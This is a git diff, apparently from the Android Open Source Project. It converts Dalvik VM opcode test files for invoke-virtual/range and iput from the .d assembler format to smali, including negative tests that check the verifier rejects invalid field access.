-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_6.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_6
-.super dot/junit/opcodes/invoke_virtual_range/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali
new file mode 100644
index 0000000..cd5e8a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6;
+.super  Ldot/junit/opcodes/invoke_virtual_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d
deleted file mode 100644
index b5c44f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_7.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_7
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali
new file mode 100644
index 0000000..643a5d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d
deleted file mode 100644
index e2538f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_8.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali
new file mode 100644
index 0000000..a96c49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d
deleted file mode 100644
index 393f733..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_9.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v7..v8}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali
new file mode 100644
index 0000000..71441ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d
deleted file mode 100644
index 062a5f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_1.java
-.class public dot.junit.opcodes.iput.d.T_iput_1
-.super java/lang/Object
-
-.field public  st_i1 I
-.field protected  st_p1 I
-.field private  st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()I
-.limit regs 2
-
-       iget v0, v1, dot.junit.opcodes.iput.d.T_iput_1.st_pvt1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali
new file mode 100644
index 0000000..0d066a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_1.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d
deleted file mode 100644
index 782486a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_10.java
-.class public dot.junit.opcodes.iput.d.T_iput_10
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_10.st_i1N I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali
new file mode 100644
index 0000000..1e73685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_10.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_10;->st_i1N:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d
deleted file mode 100644
index 9fb06de..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_11.java
-.class public dot.junit.opcodes.iput.d.T_iput_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput/TestStubs/<init>()V
-
-       const v1, 1000000
-       iput v1, v0, dot.junit.opcodes.iput.TestStubs.TestStubFieldFinal I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali
new file mode 100644
index 0000000..7f8e05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_11.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d
deleted file mode 100644
index 73104b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_12.java
-.class public dot.junit.opcodes.iput.d.T_iput_12
-.super java/lang/Object
-
-.field public final st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_12.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali
new file mode 100644
index 0000000..680708c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_12.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_12;
+.super  Ljava/lang/Object;
+
+.field public final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_12;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d
deleted file mode 100644
index 3760a4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_13.java
-.class public dot.junit.opcodes.iput.d.T_iput_13
-.super java/lang/Object
-
-.field public  st_i1 I
-.field protected  st_p1 I
-.field private  st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 1000000
-       iput v1, v0, dot.junit.opcodes.iput.d.T_iput_13.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali
new file mode 100644
index 0000000..5b459ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_13.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_13;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d
deleted file mode 100644
index ba404d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_14.java
-.class public dot.junit.opcodes.iput.d.T_iput_14
-.super dot/junit/opcodes/iput/d/T_iput_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput/d/T_iput_1/<init>()V
-       return-void
-.end method
-
-.method public getProtectedField()I
-.limit regs 2
-
-       iget v0, v1, dot.junit.opcodes.iput.d.T_iput_1.st_p1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_p1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali
new file mode 100644
index 0000000..4ab5761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_14.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_14;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public getProtectedField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d
deleted file mode 100644
index 8864195..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_15.java
-.class public dot.junit.opcodes.iput.d.T_iput_15
-.super dot/junit/opcodes/iput/d/T_iput_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput/d/T_iput_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 12321
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_1.st_pvt1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali
new file mode 100644
index 0000000..d518b3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_15.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_15;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return-void
+.end method
+
+
